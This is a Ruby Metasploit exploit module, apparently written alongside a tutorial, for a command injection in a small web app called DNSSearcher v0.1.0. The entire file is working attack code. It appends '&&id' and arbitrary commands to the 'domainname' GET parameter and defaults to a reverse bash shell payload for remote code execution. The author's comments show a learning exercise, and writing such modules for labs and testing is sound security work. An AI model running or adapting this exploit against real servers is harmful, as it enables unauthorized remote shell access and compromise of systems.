/
dnssearcher.rb
90 lines (84 loc) · 4.02 KB
/
dnssearcher.rb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
class MetasploitModule < Msf::Exploit::Remote
Rank = GoodRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {}) # I don't know why calls are made to update_info instead of filling this out
super( # passes this to Msf::Exploit::Remote's update_info?
update_info(
info,
'Name' => 'Command Injection against DNSSearcher v0.1.0 Using Unix Command',
'Description' => 'This exploits a command injection aganst dnssearcher using the command stager.' ,
'License' => MSF_LICENSE,
'Author' => [ 'Connor Shade' ],
'References' => [ [ 'URL', 'https://connorshade.com/service-to-shell/custom-metasploit/' ] ],
'Platform' => 'linux', # used for determining compatibility
# For webapps, platform is typically the language of the webapp, I'm unsure since this is command injection on the webserver though
'Targets' => [
[
'Unix Command',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_cmd, # type of exploit
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse_bash',
'RPORT' => 8000,
}
}
],
],
'Payload' => { 'BadChars' => "\x00" }, # Characters that cannot exist in the payload?
'Privileged' => true, # Whether or not this requires or gives privileged access https://github.com/rapid7/metasploit-framework/blob/9e7960fd9ffe5cc2866e047aa75193d9858603e8/modules/exploits/example_webapp.rb#L61
'DisclosureDate' => '2023-08-04',
'DefaultTarget' => 0, # 0th item in Targets https://github.com/rapid7/metasploit-framework/blob/9e7960fd9ffe5cc2866e047aa75193d9858603e8/modules/exploits/example.rb#L61C15-L61C15
'Notes' => { # Required for new modules https://docs.metasploit.com/docs/development/developing-modules/module-metadata/definition-of-module-reliability-side-effects-and-stability.html
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS]
}
)
)
end
def check
res = send_request_cgi({
'method' => 'GET',
'uri' => '/dns',
'encode_params' => false,
'vars_get' => {
'domainname' => "bing.com+%26%26id",
}
})
if res.nil? # check for no response
return CheckCode::Unknown("#{peer} - Could not connect to web service - no response")
end
if res.body.include? "uid=0" # check for uid
return CheckCode::Vulnerable("#{peer} - Successfully exploited with `id` command")
end
# expected banner includes `server: dnssearcher vx.y.z
%r{sever: dnssearcher v(?<version>\d{1,2}\.\d{1,2}\.\d{1,2})</td>} =~ res.to_s # to_s converts the entire response to a string?
if version && Rex::Version.new(version) <= Rex::Version.new('0.1.0')
return CheckCode::Appears("#{peer} - Vulnerable Version Detected: #{version}")
end
if res.to_s.include? "server: dnssearcher"
return CheckCode::Detected("#{peer} - Unknown version of DNSSearcher")
end
return CheckCode::Unknown("#{peer} - Failed to detect DNSSearcher")
end
def filter_bad_chars(cmd)
cmd.gsub!(/&/, '%26')
cmd.gsub!(/ /, '+')
end
def execute_command(cmd, _opts = {}) # This just seems to be the default signature
send_request_cgi({ # No parsing required
'method' => 'GET',
'uri' => '/dns',
'encode_params' => false, # Encoding is already done and necessary chars are replaced with filter_bad_chars
'vars_get' => { # GET parameters
'domainname' => "bing.com+%26%26+#{filter_bad_chars(cmd)}", # The only one is domainname, which is the injectable param
}
})
end
def exploit
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
execute_command(payload.encoded)
end
end